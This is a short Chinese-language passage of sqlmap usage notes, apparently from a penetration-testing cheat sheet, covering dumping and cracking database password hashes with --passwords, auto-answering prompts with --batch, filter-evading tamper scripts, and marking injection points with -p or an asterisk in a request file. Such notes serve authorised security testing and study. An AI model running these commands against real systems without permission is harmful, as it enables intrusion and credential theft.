获取数据库连接用户密码

参数

1
--passwords

介绍

1
获取密码的哈希值,可通过指定字典对哈希值进行爆破

例子:

1
sqlmap -u xxx --passwords

设置自动填入选项

参数

1
--batch

介绍

1
2
使用该参数后,出现yes/no的时候会自动填写
针对一些302跳转后才可注入的点,最好别使用此参数

例子

1
sqlmap -u xxx --batch

tamper使用

使用单个tamper的命令如下:

1
sqlmap --tamper 模块名.py -u URL

使用多个tamper的命令如下:

1
sqlmap --tamper "模块名1,模块名2.py" -u URL

指定注入点

GET型注入点

1
sqlmap -u xxx -p 参数名

请求包参数

可以使用*号指定注入的参数位置,放在参数值之后,并使用-r参数指定对应的请求包

例如pwd参数存在注入时:

1
2
3
4
Host: xxx.xxx.xxx.xxx
Accept: xxx

name=123&pwd=233*